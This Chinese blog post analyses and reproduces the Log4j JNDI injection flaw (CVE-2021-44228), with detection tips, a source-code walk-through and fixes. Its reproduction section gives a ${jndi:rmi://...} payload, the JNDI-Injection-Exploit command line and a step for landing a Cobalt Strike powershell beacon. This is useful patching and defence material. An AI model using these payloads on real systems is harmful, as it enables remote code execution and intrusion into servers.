Log4j 漏洞复现及RCE分析
开工大吉
或许你还未从假期里缓过来
但新的征途已经开始
让我们把握当下、努力向前
不辜负生命里的每一天
0x01 漏洞描述
apache log4j 通过定义每一条日志信息的级别能够更加细致地控制日志生成地过程,受影响地版本中纯在 JNDI 注入漏洞,导致日志在记录用户输入地数据时,触发了注入漏洞,该漏洞可导致远程代码执行,且利用条件低,影响范围广,小到网站,大到可联网的车都受影响,建议使用了相关版本的应用或者插件,尽快升级修补,做好相关方措施,避免造成不必要的损失。
漏洞编号:CVE-2021-44228
公开程度:漏洞细节已公开
利用条件:无权限要求
交互要求:0 click
漏洞危害:高危、远程代码执行
0x02 影响范围
使用了 log4j 的组件,并且版本在 2.x <= 2.14.1
★
JDK 6u141、7u131、8u121 之后:增加了 com.sun.jndi.rmi.object.trustURLCodebase 选项, 默认为 false,禁止 RMI 和 CORBA 协议使用远程 codebase 的选项,因此 RMI 和 CORBA 在以上的 JDK 版本上已经无法触发该漏洞,但依然可以通过指定 URI 为 LDAP 协议来进行 JNDI 注入攻击。
JDK 6u211、7u201、8u191 之后:增加了 com.sun.jndi.ldap.object.trustURLCodebase 选项, 默认为 false,禁止 LDAP 协议使用远程 codebase 的选项,把 LDAP 协议的攻击途径也给禁了。
”
1. 受影响的组件
2. 排查方法
-
pom 版本检查 -
可以通过检查日志中是否存在“jndi:ldap://” 、 “jndi:rmi”等字 符来发现可能的攻击行为 -
检查日志中是否存在相关堆栈报错,堆栈里是否有 JndiLookup、 ldapURLContext、getObjectFactoryFromReference 等与 jndi 调 用相关的堆栈信息 -
借助各类安全产品或扫描工具
0x03 JNDI 注入
1. ldap
LDAP,全称( LIGHTWEIGHT DIRECTORY ACCESS Protocol )轻量目录访问协议
2. JNDI
JNDI,全称(Java Naming and Directory Interface),java 命名和目录接口,用于命名服务 命名服务:用于根据名字找到位置、服务、信息、资源、对象
-
发布服务 bind -
查找服务 lookup
JNDI 的优势JNDI 可以访问的服务:DNS、XNam 、Novell 目录服务、 LDAP(Lightweight Directory Access Protocol 轻型 目录访问协议)、 CORBA 对象服务、文件系统、 Windows XP/2000/NT/Me/9x 的注册表、RMI、 DSML v1&v2、NIS。
3. JNDI 注入
JNDI 动态协议转换:
JNDI Naming Reference 命名引用:
当有客户端通过 lookup("refObj")获取远程对象时,获取的是一个 Reference 存根(Stub),由于是 Reference 的存根,所以客户端会先在本地的 classpath 中去检查是否存在类 refClassName,如果不存在,则就会去指定的 url 动态加载。漏洞关键点:
1、使用了 lookup
2、lookup 的参数动态可控
4、在客户端访问 LDAP 服务不存在的对象
5、客户端下载恶意代码到本地,执行
0x04 漏洞分析
新建一个项目,引用 log4j 的包
参考 Apache Log4j lookups,先使用代码获取一下 java:vm。
获取远程 ldap 地址的恶意 class
添加断点动态调试,追踪函数变化 logger.error("${jndi:rmi://127.0.0.1:1099/}"); 这段代码,首先会调用到 org.apache.logging.log4j.Logger.error
@Override
public void error(final String message) {
logIfEnabled(FQCN, Level.ERROR, null, message, (Throwable) null);
}
其中 LogEvent 结构如下:message 的值即为我们的攻击 payload
logIfEnabled 函数会判断 level.error 的等级是否符合,只有符合配置的 level 才会记录在 log 中然后会调用 logMessage 方法
private void tryAppend(final LogEvent event) {
if (Constants.ENABLE_DIRECT_ENCODERS) {
directEncodeEvent(event);
} else {
writeByteArrayToManager(event);
}
}
protected void directEncodeEvent(final LogEvent event) {
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
调用 org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable,将对应参数解析出结果。
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
和官方文档上是能够对应上的,即 log 里只解析前缀为 date、jndi 等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1:1099/calc}。
解析出参数的结果, org.apache.logging.log4j.core.lookup.Interpolator#lookup
@Override
public String lookup(final LogEvent event, String var) {
if (var == null) {
return null;
}
final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
if (prefixPos >= 0) {
final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
final String name = var.substring(prefixPos + 1);
final StrLookup lookup = strLookupMap.get(prefix);
if (lookup instanceof ConfigurationAware) {
((ConfigurationAware) lookup).setConfiguration(configuration);
}
String value = null;
if (lookup != null) {
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
}
if (value != null) {
return value;
}
var = var.substring(prefixPos + 1);
}
if (defaultLookup != null) {
return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
}
return null;
}
其核心是这段代码:
value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
org.apache.logging.log4j.core.lookup.JndiLookup#lookup
接下来就是调用 javax.naming 的 JDK 相关代码,远程加载了 ExecCalc 类,在本地输出了 open a Calculator! 并启动了计算器。
0x04 漏洞复现
1. 复现环境
环境:攻击机运行 idea 1.8.0 131 jdk 环境
JNDI-Injection-Exploit v1.0
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C - 远程 class 文件中要执行的命令。(可选项 , 默认命令是 mac 下打开计算器,即"open /Applications/Calculator.app") -
-A - 服务器地址,可以是 IP 地址或者域名。(可选项 , 默认地址是第一个网卡地址)
注意:
-
要确保 1099、 1389、 8180端口可用,不被其他程序占用。或者你也可以在 run.ServerStart 类 26~28 行更改默认端口。 -
命令会被作为参数传入 Runtime.getRuntime().exec(),所以需要确保命令传入 exec()方法可执行。
apache-log4j-poc demo
2. 简单验证 dnslog
3. 执行命令
然后使用刚才的 demo 去访问 ldap 服务。成功执行命令。查看项目 demo 中的 log 日志
4. 上线 CS
首先打开 CS 客户端,生成一个无状态的
powershell payload 木马。然后将生成的 payload 内容替换为刚才执行“calc”位置,其他步骤一致。成功上线 CS
0x05 修复方案
1. 官方方案
将 Log4j 框架升级到 2.15.0 版本:org/apache/logging/log4j/log4j-core/2.15.0 不要用 2.15.0-rc1 和 2.15.0-rc2
Apache 目前已经发布 rc1、rc2、2.15 正式版本补丁,修复后的 log4j 在 JNDI lookup 中增加了很多限制:
-
默认不再支持二次跳转(也就是命名引用)的方式获取对象。 -
只有在 log4j2.allowedLdapClasses 列表中指定的 class 才能获取 -
只有远程地址是本地地址获取在 log4j。allowedLdapHosts 列表中指定的地址才能获取。
2. 临时方案
-
升级 JDK -
修改 log4j 配置 -
使用安全防护产品
log4j 配置
-
设置参数:log4j2.formatMsgNoLookups=True -
修改 JVM 参数:-Dlog4j2.formatMsgNoLookups=true -
系统环境变量:-Dlog4j2.formatMsgNoLookups=true -
禁止 log4j2 所在服务器外连